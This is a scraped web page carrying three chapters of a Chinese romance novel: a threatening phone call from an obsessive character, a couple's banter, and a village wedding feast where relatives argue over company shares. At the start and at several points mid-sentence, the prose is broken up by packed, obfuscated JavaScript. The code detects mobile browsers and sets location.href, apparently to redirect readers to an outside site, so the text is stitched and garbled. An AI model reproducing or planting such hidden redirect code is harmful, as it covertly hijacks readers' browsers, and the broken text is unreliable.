l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323460|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情,像是在说别人家的事情。 “你们都走了,我留在黄钟县,跟完了我爸入刑的整个判决流程,大概有一年多吧。”南吕说,“我们都知道,要论真正的幕后主使,是李藏之。” “……” “但这事不止我们知道,检察院和法院都知道,后来调解员跟我说,事发那年,他已经17岁了,完全承担所有刑事责任,检察院原本想将李藏之和我爸一起提起公诉的。” 乌曼因心提了起来,急了,她怕李藏之没音讯是因为真的进去了:“我为什么不知道这事?” 要是她在外面逍遥快活的时候李藏之在监狱里啃糠咽菜,她真的会愧疚的。 “你那时候在北京风光着呢,”南吕手指绕着发尾打转,好笑道,“哪里会关心黄钟县后来发生了什么。” 她看着乌曼因难看的脸色:“放心,因为证据不足,检察院没有起诉李藏之,没有任何证据证明他和这件事有关。即使黄钟县所有人都知道这是他做的。” 乌曼因:“……” 她还以为帮李藏之藏得很好来着。 乌曼因勇闯娱乐圈这么多年,勤勤恳恳做人,兢兢业业做事,死对头都抓不到她真正的黑料,任谁提起她为人都不情不愿竖起大拇指,结果一世英名全砸在李藏之身上了。 “所以,你知道他后来去哪里了?” 南吕摇摇头:“我不知道。只是法官后来和我保证,李藏之会被列入公安机关的重点监控人员名单,严格管控他的出行和资金流动。别人未必可以了解到他的行踪,但我作为‘被殃及的家属’,也许可以去查询。” 原来是这样。 南吕给她提供了一条可行性很高的路。 可以直接从源头解决李藏之在哪的问题。 乌曼因当然知道警方系统可以查询到个人。 但就跟她“难道不知道银行有钱,为什么不去拿呢,难道是她不想吗”一样。 是她不能。 乌曼因忽然觉得南吕顺眼了很多,她咳嗽两声:“那就麻烦你啦。” “麻烦倒不算麻烦,但你先别高兴太早,”南吕竖起一根手指,“我是有条件的,不是白帮忙。” “你说,”乌曼因保证,“不是杀人放火投毒抢劫我都没问题。” 南吕说明天要出道她都能求凌云给她紧急加塞进选秀节目里。 “你当我是什么法外狂徒吗?”南吕翻了个白眼,然后才恢复了原本的温和柔弱,她有些局促,慢慢说,“我明天就要结婚了,能不能请你,来当一下我的送嫁人,送我出嫁?” “可以啊。”乌曼因很爽快地答应了。 “不是普通的那种伴娘,黄钟县的送嫁人,是要到新娘的家,一起送新娘出嫁的……” 黄钟县有一个习俗,新娘要穿好嫁衣,在娘家由送嫁人陪伴着,等待新郎的车队来把她带走。 送嫁人一般是亲戚朋友。 人数越多,来的人身份越高,代表着新娘家对新娘的重视。 南吕的爸爸入狱,妈妈不愿意回来,她希望乌曼因来当她的送嫁人。 “都可以,反正我请了长假。”乌曼因满口答应。 南吕怔忪,最后偏头,不自在地说:“……我会帮你找到李藏之的。” “其实你不帮我找我也会答应的,我俩好歹认识那么多年。”乌曼因笑了笑,“这么重要的日子,如果你希望,我当然会来。提前祝你和Quantum和和美美、永结同心。” 南吕:“……” 最讨厌的就是乌曼因这种语气,好像她是个多么没分寸的小孩。 想要还嘴的时候,她忽然意识到,在乌曼因眼里的不是高傲,而是恳求。 是为了什么,李藏之吗? 乌曼因在怕她拒绝。 “当年的事——” “之前你——” 两人几乎同时开口。 乌曼因道:“你先说吧。” 南吕:“算了,没什么好说的。” “……上一个在我面前话说一半的已经被我宰了。” “有本事你宰了我,”南吕习惯性地怼了一句,沉默了会才说,“我知道李藏之手段极端了一点,但是后来看到我妈那么自由……如果你见到他的话,能不能帮我转达,我很感谢他。” 乌曼因的眼神好像在看一个奇形种。 “你什么眼神?”南吕恼羞成怒。 乌曼因摸摸鼻子:“多年不见,你居然会说人话了。” 南吕要被她气暴走了。 “你帮不帮?不帮我走了。” “走吧走吧,明天记得来高速旁泉城酒店来接你亲爱的送嫁人。” “……” 她大爷的乌曼因就是个贱人。 “南吕,”乌曼因终于在重逢后第一次叫了她的名字,叹了口气,“他那不叫帮忙,那叫毁灭一个人的同时顺手帮了你妈。” 多年后,南吕改变了态度,而乌曼因依然坚持原来的想法。 看着乌曼因坚定的神色,南吕几乎想问: 你依然无法接受李藏之的偏执和极端,为什么还要去找他? 为了再把他丢一次吗? 33. 威胁 网吧老板追星去了,他很爽快地把店暂时交给了二老板,也就是Quantum。 Quantum带着一些老朋友们在二楼的电竞房特训。 说是特训,其实也就是玩玩。不可能真的指望这些平均年龄30+的老年人征战赛场。 南吕上楼看了下,见一群人依然沉浸于游戏的样子,电脑桌上散落着几包开了封的薯片和可乐罐。 门轴转动的声音让屋里几个人都抬起头。 屋里几个大老爷们齐刷刷抬头,有个戴眼镜的立刻吹了声口哨:“老板娘查岗啊?” 反倒是Quantum依然专注地盯着屏幕,操作不停。 “路过,”南吕手指在门把上敲了敲,“顺便看看你们有没有饿死。” 说完就要带上门,动作顿了顿,又补了句:“给你们点了啤酒炸鸡。” 屋里爆发出一阵起哄声,隔着门板模模糊糊传出来。南吕摇摇头,心想这群人一时半会儿是消停不了了。 她拿出手机下单了外卖,看到Quantum给她发了红包。顺手就收了。 一个人没什么事,南吕找了个安静的空房间坐下,打开笔记本准备处理公司的文件。 乐队的经历就像上辈子的事,一场美梦。 现在她是个朝九晚五的上班族,吉他放在储藏室里积灰。 手机忽然响了。 正在键盘上敲着字的南吕随手拿起手机一看,是一个本省的陌生来电。 怕是工作电话,南吕顺手接了起来。 南吕:“喂?” 电话那头沉默了两秒,随后传来一道没什么情绪波动的男声:“是我。” “你是谁……” 话还没说完,她就反应过来。 这个声音的主人给她留下的心理阴影实在太重,她的身体比她的脑子先一步认出了对面是谁。 她僵在原地。先是心脏皱缩,接着传导到四肢发冷,眼前出现了五彩的色块。 身体抵抗到出现了躯体化的症状。 乌曼因可能至始至终觉得黄钟县就是那么友善一个地方,连最糜烂的娱乐场所都带着天真与浪漫结合的纯善。 电影里的音乐天堂不过如此。 他们那是天然的善吗?他们那是都知道这里住着一个神/经病。 至于有多神/经,南吕已经亲身体会过了。 南吕深吸一口气,强行使狂跳的心脏平复下来。 “……李藏之?” “是我。”对面的声音有些失真,不太像是她记忆里的少年神/经病。 也是,算算年纪早就成年了。 成年了这么久还没被抓,藏得很深啊。 她模模糊糊地想。 南吕的第一反应是遭到了乌曼因和李藏之两人合谋的仙人跳,但理智很快排除了这个选项。 乌曼因不是这种人。 她不可能说谎。 李藏之在乌曼因视角里失联八年的事情肯定是真的。 那就只能是…… “你一直在盯着乌曼因?”南吕马上做出判断,“你就在黄钟县。” 对面默认了。 他就没想藏,南吕对他来说不算是人。 想到乌曼因,南吕敏锐地捕捉到一丝异样:“怎么,你失踪这么多年,一回来就要管她和朋友叙旧?” “不是管,”李藏之说,“是纠正。” “纠正?” “她不需要你这样的朋友。” “哈,”南吕被气到了,“什么叫‘我这样的’?” 这么多年没跟李藏之说过话,还是熟悉的能把人气疯的配方,每句话能精准踩中她的雷区。 “你想利用她。” “我只是想让她送我出嫁,”南吕咬着后槽牙一字一顿,“小孩,我知道你不懂,社会就是这样的,我利用她,她利用我,这叫互相往来。你没利用价值等于你是个废人,懂吗?” 但李藏之是说不通的。 “我不需要懂这些,”李藏之平静得可怕,“你让我不高兴了,当年能把你爸送进去,现在也一样。” 南吕:“就这?这么多年过去,你的手段一点没长进?” “有效就行,”李藏之道,“顺便查了查你男朋友的底。” 这句话让南吕后背一凉。她的笑意微微僵住,但很快又恢复:“怎么,你连他都查?” “顺手,因为你没什么可查的。财产很杂,主要来源是和OBZ俱乐部的签字费,由于包含了直播平台签约费所以还挺高;有奖金冠军皮肤的分红,唔,这些不太好动手……但不要紧,他投资了俱乐部和和一些网吧,身上有外设的代言,我查一下……” “李藏之。”她打断他,不敢再听下去,怕李藏之就那么“顺手”地操作下去,再毁掉一个人,就像毁掉她爸一样。 李藏之天真而残忍。 对面的人以为她要屈服了,耐心地等待着。 谁知道南吕像是想通了什么事,慢慢地说:“你爱乌曼因,就像我爱Quantum一样,对吗?” 电话那头短暂地沉默了。 不知道她是怎么得出这个结论的。 他试图把这个莫名其妙的话题掰回正确的轨道:“他是和‘鬼怪’公司合作……” 智商方面,李藏之可以甩南吕三条街,南吕从不和挂壁比自取其辱;但上帝没给她开门,总会留条缝通通风。 南吕很敏锐地捕捉到刚才那一刻的灵光,恍然大悟。她的语速越来越快,要在李藏之没有反应过来前用语言砸晕他:“以前你绝对不会想到拿Quantum来威胁我,因为你什么都不懂。被爸妈丢掉、唯一的妹妹也不认的你,根本不信任任何一种亲密关系。但现在你变了。你在躲乌曼因,为什么要躲她?躲着她来威胁我,我知道了,你怕了……” “只要乌曼因愿意保住我,你什么也做不了。” 电话直接□□脆利落地挂断。 南吕盯着黑下去的屏幕,缓缓呼出一口气。 总算暂时应付过去了。 能想象到那个情绪不稳定的暴躁小鬼砸手机的样子。 这回真得求着乌曼因保命了。 以乌曼因的性格,她肯定不会袖手旁观,但问题是…… 南吕想到,乌曼因是带着男朋友去找李藏之的吧。她刚窥见李藏之的一角心思,又有点绝望,这是和好的意思吗,这是火上浇油吧。 愁。 Quantum的声音从房间外传来,他慢慢打开了房门:“南吕?外卖的电话吗?” “打错的。”她回答。 Quantum走进来,看到南吕蹲在地上,用双臂抱着自己,头发遮住看不见神色。 她把脸藏在手臂下,只露出一双眼睛,说:“我可能又干了一件错事,我总是在做错事。” Quantum愣了一下,眼神柔和:“放心,有我呢。” …… …… 这天晚上,乌曼因有点心事,草草地就收拾上床了,但偏偏又睡不着,干脆塞着耳机放李藏之的曲子,当视唱练耳训练,开始记谱。 越记越精神,发出“卧槽怎么这么牛逼,这里还能这么处理”的感叹。 恨不得爬起来去录音室扒音轨。 折敛在浴室洗澡,这个澡洗了很久,洗到乌曼因分析完了两首曲子。 揉了揉酸痛的胳膊,乌曼因有点怀疑他在里面做见不得人的坏事。 折敛也会干坏事吗? 乌曼因胡思乱想,半边脑袋想着不至于吧,半边脑袋说不干坏事才不正常、那是病得治。 有道理,干适度坏事有益身心健康。 她自娱自乐地想到一半,折敛脸色推开门,脸色红扑扑地出来了。 只是眉头拧着,看上去倒不是发泄完毕……更像是生气了。 折敛牙齿紧咬着,手背上青筋尽显,偏偏没出气的地方,一出门又直直对上乌曼因的眼睛。 他瞬间僵住,闭了闭眼,试图恢复到原来从容淡定的神色,但显然失败了,表情有点轻微扭曲。 意识到怎么都没办法保持体面,折敛偏过头,不让乌曼因看他。背对着乌曼因挪到床上,用被子把自己裹起来,只留给她一个人形馒头。 “怎么把自己洗生气了?”乌曼因摸不着头脑。 “地板太滑,一不小心把手机摔了。”折敛的声音瓮声瓮气地从被子下面传来。 馒头里伸出一只苍白修长的手,给她看自己被磕了一个角的手机。 “还能用吗?” 那只手盲摁了一下开机键,手机亮起了锁屏界面。 又是一只哆来A梦。 [哆来A梦生气.jpg] 噗。 乌曼因默默打开手机,给折敛发了个最近刚收的表情包。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323461|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乌曼因:[大雄抱住哆来A梦.jpg] 折敛手机的微信特关铃声顿时响起。 他感受到手机的震动,先是一滞,立马带着手机缩回被子下面。 馒头不动了。 乌曼因怀疑里面的那个人可能害羞到要冒烟了。 她又坏心眼地给折敛发消息:没事的,带你去修手机。 被子里面又传来轻微的特关铃声。 馒头轻微一颤,大概是在手忙脚乱地关音效。 乌曼因又发了几个可爱表情包,这回没声音了。 “不会把我特关取消了吧?”乌曼因凑近馒头,朝着缝隙里问。 折敛没说话,但是在微信上回了。 折敛:没有。 折敛:[哆来A梦卷铺盖滚蛋.jpg] 大概是真的很想换个世界生活了。 至于嘛,多大点事。 像她几万人的演唱会唱瓢了都能面不改色地继续high。 问就是特意唱错几句词,这样粉丝才知道他们听的是真正的现场。 “好啦,别为你的宝贝手机伤心了,正好我也想换部新的,要不要和我用情侣机?” 折敛把被子拉下,脸色被蒙得更红了,他轻哼一声:“一款手机销量好点,起码几百万台,这算什么情侣机。” “……那,我们挑销量少点的?” “销量少的手机肯定质量有问题。” 这生气了就化身人形ETC抬杠的属性让乌曼因非常熟悉,但她生性心大,对人类情感的分野远没有南吕那么敏锐,很快把这小小的既视感抛到一边。 但还没等她说话呢,折敛好像先哄好了自己:“但手机的IMEI码是唯一的,要是我们的IMEI码是对应的好像也不错。” “哪用得着那么麻烦,你把手机屏保换成我,我把屏保换成你,这不就是独一无二的情侣机了嘛。”乌曼因手臂张开摊在床上,长而卷的头发如瀑布般垂落下来,像妖异的白雪公主她后妈,“你随便拍,知不知道我的一张未公开多值钱。” “我的一张未公开也很值钱。”折敛小声嘟囔着,慢吞吞从被窝里爬出来。 乌曼因找到机会逮住了这只馒头虫,手疾眼快搂着他拍了一张合照。 照片定格了乌曼因恶作剧成功的笑容和折敛迷茫的绵软表情。 “这张拍得不错,就用这个当屏保吧。”乌曼因把手机举到折敛面前。 “……我头发都翘起来了,”折敛伸手想抢手机,“不许!重拍一张。” “这样自然,你看你刚睡醒的样子多可爱,”乌曼因躲开他的手,“再说我都设置好了。” 折敛急了,他爬出来是想拍乌曼因的,没想到留下了自己的丑照。 折敛一扑没抢到手机,身子歪了歪,整个人和乌曼因贴再了一起。 他手肘撑在乌曼因耳边想爬起来,却按到了散开的长发,一下子又滑了下去,结结实实压住了乌曼因。 到底是个成年男人的体重。 “嘶——”乌曼因觉得自己要被压扁了,手机从指间滑落,陷进酒店松软的被子里。 太近了。 折敛一时间被蛊惑地忘记自己想要干什么,他半撑起身,一低头,就能看见乌曼因细密的睫毛,还有她眼底映着的暖色灯光。 “心情好点了吧?”她问。 两人的呼吸声在安静的房间里格外清晰、交错缠绕,折敛甚至能感觉到乌曼因的胸腔随着呼吸轻轻起伏。 “我没有生气,”折敛先嘴硬,然后不知怎么的话题忽然转折,“有个人说我喜欢你。” “那不是在说实话吗?” “才不是,我……”折敛意识到自己的失言,“反正她什么都不知道,乱说,哼。” 这副被人戳穿心思还嘴硬不承认的死倔样子。 虽然自己也是那么想的,但是被被人明晃晃指出来就会非常跳脚。 乌曼因想说傲娇已经退环境了。不过这么说了折敛会炸的吧。 她虽然没说话,但是眼睛滴溜溜的转,很快被折敛发现不对。 折敛:“……” 然后折敛又缩进了被子里,任她怎么逗逗不出来,乌曼因不得不抱着他哄了好一会儿。 折敛这才心满意足地向她说了一声晚安,惯例亲了亲她,自顾自睡去了。 徒留乌曼因在美人计下失眠。 34. 吃席 第二天一早,南吕自己开车来酒店接乌曼因,见她只有自己一个人: “你怎么没带男朋友?” 乌曼因打量了一下南吕的粉色mini五菱宏光,对她不同流俗的品味相当欣赏,拉开门自然而然地占了副驾:“他还在睡觉呢,早上起不来。” 南吕微惊:“你们晚上这么激烈?” “……” 她在别人眼里究竟是个什么样的色中饿鬼形象?王兴旺也就算了,怎么连南吕都这么想。 听上去是个能把男友累晕的超人。 乌曼因有些郁闷。 但“飒爽千人斩”和“出道十年归来仍是雏”比起来,乌曼因只能忍痛认下这个屎盆子,以保全自己非主流扛把子大姐的名声。 “你管我夜生活怎么样,”乌曼因瘫在椅子上不满地哼哼,“这边结婚这么闲?新娘都有空来接我。” 没吃过猪肉也见过猪跑,乌曼因受邀参加过不少婚礼。 不夸张地说,一次隆重的婚礼堪比小型会战,结婚的两家人要准备好酒席、酒店、场地、礼品、司仪,从前忙到后,全家齐上阵。 新郎新娘结次婚下来能瘦个两三斤。 没见过这么清闲的。 车上没有任何红色喜庆的装饰,乘客装束简单也就算了,开车的新娘穿得更是朴素,两人像是周末去山里度假的。 “怎么不是?”南吕说,“后面那个包里放着我的礼服,今天的流程是在我家摆午宴,请这边的亲戚朋友吃一顿,吃完后等Quantum来接我,晚上在他们那边吃晚宴。” “不是那种两家人带亲朋好友一起吃席的普通婚礼吗?” “那种也有,过几天会在黄钟县城里办,今天只是送嫁,松弛点没关系。” 乌曼因点点头,在脑内捋了遍流程,忽然觉得有哪里不对:“等等,Quantum把你接走后我怎么办?” “……” 南吕可疑地沉默了一会,才说: “理论上送嫁人是我这边的亲戚,送完后可以直接回家了。” 乌曼因懂了:“所以晚饭没我份?” “晚饭是他那边亲戚,没什么好参加的,早点结束你可以早点回去陪你男朋友。” 说完这话南吕就后悔了。 李藏之十有八九在乌曼因手机上装了后门,她完全是嫌自己死得不够快。 眼见道路越来越偏,司机面色凝重,像是走进了香港恐怖片里的那种深山老林。 乌曼因表面不动如山,实际上怂怂地把目的地定位给经纪人、助理和折敛都发了一遍。 真音姐:? 乌曼因:我要是被拐了你记得让警察来这儿找我[可怜.jpg] 真音姐:不作不死,呵呵 攻击型。 小祝助理:收到,请一个小时给我发一条消息,没有的话我会直接报警。 靠谱牛马型。 折敛:你到哪里去了?? 折敛:我怎么没见到你 折敛:你丢下我了吗 ……恋爱脑型。 咦,折敛怎么醒了,出门的时候见他还睡得很香甜来着。 小朋友惊慌的情绪快从文字里溢出来了。 乌曼因反省了自己一秒,太有趣了,下次还干。 乌曼因:昨天晚上和你说了啊,我去参加朋友的婚礼了[探头.jpg] 乌曼因:今天醒这么早? 折敛:昨晚上睡得比较早吧。 折敛:为什么不叫我一起? 乌曼因:约的时间太早,估计你醒不来,你也不认识我朋友,我要是忙起来大概率顾不上你的 乌曼因:应酬你知道嘛,还不如睡觉呢[躺平.jpg] 折敛:…… 折敛:你有事叫我的话我肯定会早起的…… 折敛:[哆来A梦失落.jpg] 折敛:那你为什么要去? 乌曼因:有求于人,没办法 乌曼因:人在屋檐下,不得不低头 折敛:[大雄抱住哆来A梦.jpg] 乌曼因:你偷我表情包 折敛:我没有╰_╯ 乌曼因:还说没有[截图] 折敛:我原本就有很多的! 折敛发来好几张截图,证明自己有上百张哆来A梦表情包。 所以他每次聊天,都是认真地在几百张哆来A梦表情包里找到最贴切的那张发出来。 可以说十分坚持不懈了。 乌曼因:你把这几个给我,这几个好玩 折敛:…… 明明是她在抢劫表情包。 “在和男朋友聊天?” “是啊,”乌曼因头也不抬,忙着存图,“他比较黏人。” 南吕露出牙酸的表情:“刚谈上吧。” “刚谈上怎么了?” “刚谈上才会这么黏糊。” 说起这个乌曼因就来兴致了,她八卦地问:“你和Quantum谈了七八年了吧,相处方式是怎么样的?” “室友呗,看见他那张脸就烦。” “烦还结?” “凑合过,还能离咋的。” 乌曼因:“其实我对游戏打得好的人挺有好感的……” 南吕的眼神顿时警惕了起来:“我警告你,Quantum晚上睡觉磨牙。” 乌曼因:“噗。” 果然,真要她劝分估计南吕第一个跳起来。 意识到被乌曼因耍了的南吕脸色更臭了。 更像是去砂仁抛尸的了。 乌曼因作为车上唯一一个乘客,从原来高兴地和折敛聊天变成了提心吊胆地和折敛聊天。 生怕被扔在荒郊野岭的小道上。 实际上南吕丧着脸的原因倒不是不期待结婚,而是经过李藏之那一通电话,她现在见到乌曼因和她男朋友正是新鲜黏糊的时候,抱着手机时不时发出“嘿嘿嘿”的声音,心里拔凉拔凉的。 她忧虑地想,万一某个阴暗小鬼被刺激到直接爆炸怎么办? 车子拐过最后一个弯,从深山老林开进了一个人类聚落里,白墙黑瓦。南吕说这个村叫“采石场”。 她家的桌子已经摆上了,从房子到露天摆了十多桌样子,桌上铺好了薄薄的红色塑料布。 每张桌子前都坐了人。 远处临时搭建的灶台正冒着腾腾热气,几个请来烧饭的师傅忙得团团转,锅铲碰撞声、油炸声、说笑声混成一片。 乌曼因这才有了南吕真的要结婚的实感。 “到了,”南吕停好车,“你先随便找个地方坐,我去换衣服。” 乌曼因点点头,好奇地打量着四周,从这头走到那头,又转回来。她参加过不少豪华婚礼,但这样的农村席面还是头一回见。 场地虽然简陋,但氛围一点不差,孩子们在桌椅间追逐打闹,大人们抽着烟聊天,时不时爆发出阵阵笑声。 南吕没让乌曼因干活,也没让她招待客人。 据南吕说送嫁人不是伴娘,不用陪酒陪什么,只需要等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323462|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会跟着新娘一起等人就行。 还有这么好的事? 见实在没什么需要她帮忙的,也不用换衣服,乌曼因从善如流地找了桌席面和客人一起坐下吃席。 桌上都是比较地道的农家菜,炸春卷、白切鸡、红烧肉、葱油蒸鱼,她尝了一口……早知道就带着折敛一起来了。 小朋友跟了她后好像还没吃过一顿好的。 乌曼因不认识桌上其他人,其他人也不认识她,但不妨碍她被这种热情感染。 席间气氛热烈,大家有说有笑,不时有人来敬酒。 都是大爷大妈们带孙子孙女,没几个年轻人,聊着家长里短的八卦,聊着聊着,话题就拐到今天的新娘子身上,用黄钟县方言小声交流情报:“丫头老公是哪里人?” “听说是下洲那边的。” “哦哦哦好远,听说那里穷的嘞。” “没事,她老公有钱的,还帮她爸还了不少钱。” “也好,早点嫁出去,不用在她叔叔婶婶手下讨生活。” “叔叔不做人,婶婶还能怎么样。” “她叔在敬酒呢,你们小声点。” 乌曼因正听得入神,谁知那边立刻噤了声,刚才说得最起劲的那位大婶也低下头,专心吃起菜来。 八卦听到一半实在太抓心挠肝。 乌曼因左右看看,没见到疑似南吕她叔的角色,于是鬼鬼祟祟端着碗,悄悄挪到刚才说话的大婶旁边,用方言问:“阿姨,南吕和她叔是怎么回事?” 那大婶正愁没人分享,见有人问,立刻来了精神,凑近了些说:“还能有什么事,钱的事呗。她家公司是南吕她妈开这么大的,谁知道突然南吕她爸进去了,她叔婶就眼红就了,一直闹,硬生生把南吕妈妈挤走了,自己当老板。” 乌曼因心虚地扒了一口饭:“她爸进去对她的影响那么大吗?” “大!怎么不大!她叔婶不是人,学费都不给她交,哪有人不给娃娃交学费的,我们都看不过去。” 旁边一个一直闷头吃菜的大叔这时插了句话:“看不过去也没办法,村里的人现在都在她叔手下做事,饭碗要紧。” “听说最后还是南吕老公供她上的学。” “唉。” “是个好人,希望对丫头好点。” 大叔问大婶:“她爷奶没说什么?就这样看着?” “老两口年轻的时候眼睁睁看着小儿子把大媳妇逼走,指望什么?不过对孙女其实还行,村里人和他们说了学费的事,他们知道后就把小儿子骂了一通,钱后来也给了,听说手里的股份也给了,就是对外人不地道。” “给股份了?那是真有良心。”大叔问,“但公司不会乱吗?两个头。” “谁知道,但手上有股份总比没有好,南吕她妈就是因为没有,白给别人打工。” 感叹了两句婚姻的脆弱,大婶一抬眼又瞧见了乌曼因,像是刚想起什么似的,很自然地把话题绕了回来: “说起来,丫头你几岁了,结婚没有?” 乌曼因没想到火烧还能自己身上来,连忙装作干饭人端碗回座位上:“暂时还没有想结婚,先搞事业、搞事业。” 大婶点点头:“搞事业好的嘞,男人都没有钱靠谱。” 南吕这时候刚好换上礼服出来了。她穿着一身玫红色的旗袍,头发简单地盘着。 微笑着接受客人的道喜。 看着这个成熟的女人,乌曼因有点想不起来当年的南吕是怎么样的了。 唉。 造孽。 35. 外地人不讲武德 宾客陆续散去,走了有一大半,院子里杯盘狼藉,剩下帮工和亲戚在收拾桌椅。 乌曼因干家务活的水平一团糟,就没掺和,识相地坐在角落和大婶一起嗑瓜子。 看着人群渐渐散开,终于从剩下的人里认出了南吕的叔叔婶婶。 两人长得很富态,刚才还堆着笑送客,这会儿脸立刻拉了下来。 拉着南吕不知道在说什么。 大婶说:“他俩准没好话。” 乌曼因看那脸色感觉也是。 “没他们这么做事的,送嫁是给新娘做脸,等会儿姑爷来了怎么办?”大婶忿忿不平,吐出嘴里的瓜子壳像机关枪吐子弹。 “我觉得她家姑爷早就知道她家里人什么德行……”乌曼因说。 “那也不行,那不是知不知道的事情,你懂吧、不吉利。” 乌曼因不太懂。 南方小村庄的婚嫁习俗对她个北方人来说还是太复杂了,但她懂杀人诛心。 攻击一个讨厌的人,就要攻击她在乎的东西,南吕最在乎quantum,那就留给她一个不完美的婚礼。 唉,她晃了晃手里的饮料,真是家家有本难念的经。 那边声音大了起来,不由分说往乌曼因耳朵里钻。 叔叔一脚踢开挡路的空饮料瓶:“真是长大了,翅膀硬了,结婚那么大的事情不跟家里商量,长辈选的人你也看不上眼,去和一个没正经工作的人谈婚论嫁。” 婶婶:“就是,我们能害你吗?外人都是图我们家的钱,你那男朋友我见过,穷抠穷抠的,不是个能一起过日子的人。” 南吕低垂着头,手指绞着旗袍的边,没说话。 显得纤柔又脆弱。 爷爷奶奶正坐在一旁帮南吕整理礼金,奶奶抬头打圆场:“少说两句,孩子今天那么重要的日子,再说小吕男朋友人也不差……” “爸、妈,你别看脸就信人家,穷鬼能有什么好东西,自从她进了公司,又是折腾换岗,又是要求召开股东大会,闹得一团糟,我看就是她男朋友撺掇的。嫁出去的闺女泼出去的水,以后就是别人家的人了。趁着还没走,该算的账得算清楚,她可是带着公司股份嫁出去了。” 奶奶就不吭声了。 婶婶加了一句:“真要她做事,什么都不成。今天酒席还是我们撑的场面,她自己啥事不干,甩手掌柜似的,一个要结婚的人,早上完全找不到人,不知道上哪去了。” 哦,这是接她去了。 莫名其妙在故事里有了点存在感,仿佛连带着一起被指责了,乌曼因神游地想。 双重指控下,奶奶也不好偏心了,索性各打五十大板:“吕吕还小,不懂事很正常;你也是的,作为叔叔让着点侄女,她不会你就教她,多大点事,她可怜没爹妈在身边,一家人,劲往一处使才是要紧事。” “我怎么没教她,”叔叔嗓门大了起来,“这丫头心术就不正,有主意得很,根本不听我的。” 热心大婶小声“呸”了一声:“别听他们瞎说,做菜的、帮忙的,都是南吕自己请来的,我女儿也来帮忙了。小吕可大气了,在公司也比这俩糊涂老板靠谱。” “南吕现在在公司里管事了?” “在,只是没什么权力吧,只是管设计的,唉,但凡有一点油水的岗位她叔都不让她碰,防着她呢。” 乌曼因眨眨眼:“其实这是他怕了。” 这位叔叔脑子虽然不太好,但是危机直觉真是敏锐。 要是为了防止南吕的蚕食,第一步就是连公司都不能让她进。 不过南吕的股份是她爷爷奶奶给的。 果然,南吕总有办法。 婶婶用她那有点尖利的声音对着南吕说:“你那男朋友连彩礼都没出过,我看他就没把我们家放在眼里”,你还赶着倒贴,丢不丢人? 乌曼因本来安静看戏,听到这儿实在没忍住,“噗嗤”笑出声来。 旁边干活的人都没敢发出声音,要么都跟大婶一样缩着脑袋听八卦,她这声极其的响亮。 非常成功地帮南吕吸引了火力。 婶婶立刻瞪向她:“你笑什么?你是谁?” 乌曼因:“抱歉,我平常不怎么笑的,除非忍不住。” 好心大婶拉了拉乌曼因衣角,乌曼因拍拍她的手,用眼神示意没事的,看她表演。 乌曼因有丰富的杠精经验。 上喷公司高管,下喷粉丝,谁傻逼喷谁。 喷得对方面如土色,从此见到乌曼因就两股战战。 “我路过的,”乌曼因说,“我这不是开眼界了嘛。头回见到大老板要侄女婿彩礼的,18.8,还是28.8?我们那儿小夫妻买房买车生娃家长都给红包的,你收了人家彩礼,给不给红包呀?” 叔叔脸色沉下来:“关你什么事?我们自家的事轮不到你插嘴!” “我也不想管啊,”乌曼因摊手,“可这算盘珠子都快崩我脸上了。今天图彩礼,明天就能图小夫妻给你俩摔盆送终。” “你胡说什么!” “我胡说?反正都是不属于你的东西,有什么两样?”乌曼因眼睛骨碌一转,手一摊,“大老板现在连彩礼钱都要抠搜,不知道的还以为公司要倒闭了呢……哎,该不会是经营不善,真快倒闭了吧?” 婶婶气得指着乌曼因的鼻子:“你哪只眼睛看见我们经营不善了?我们一年赚的钱比你这种穷鬼一辈子的存款都多!” 下厨的厨子是外村人,根本克制不住自己听八卦的耳朵。 他们和剩下的客人们都以一种混合着敬畏和“居然有人能这么端碗吃饭放下碗骂娘”的神情看着舌战群儒的乌曼因。 真正的强者喷人都和在自己家里一样巴适。 刺激。 “是吗?”乌曼因故作惊讶,“那怎么还追着侄女要钱?” 叔叔猛地一拍桌子:“我哪里追着她要钱了?你少在这血口喷人,给我滚出去,我们家不欢迎你。” 乌曼因倒也没说自己是南吕请来的,这个时候提到南吕就有些不仗义了。 黄钟县酒吧一条街大姐大绝不是浪得虚名,护着自己的小跟班理所应当。 她嘴说得有点干,拿起杯子又喝了口饮料,舔舔嘴唇,继续火力全开: “不是要钱,那就是要股份喽。本来能全吞的,现在还得留一口给人家,难怪火气这么大,是不是打算从这些小事上慢慢抠回去?愚公移山、水滴石穿,精神还挺可嘉。” 婶婶被说中心事,脸一阵红一阵白,尖声道:“你、你胡说八道!我们才不稀罕那点股份!” 急了,她急了。 这位婶子真是富家太太做久了,战斗力还比不上娱乐圈里扯头花的练习生。 “不稀罕最好,”乌曼因竖起食指,“南吕好歹也是名正言顺的公司股东,怎么说也是小老板,给你们提点经营建议这才多大点事,值得你在人家婚礼上叭叭。小明的爷爷活到九十多就是因为他善于听取别人家意见。” 叔叔气得浑身发抖,他当了这么多年体面人,根本受不住旁边闲人有如实质般异样的眼神,指着南吕骂道:“你就看着外人这么欺负你叔婶?” 爷爷终于忍不住咳嗽一声:“都少说两句……” 一直沉默的南吕终于抬起头。 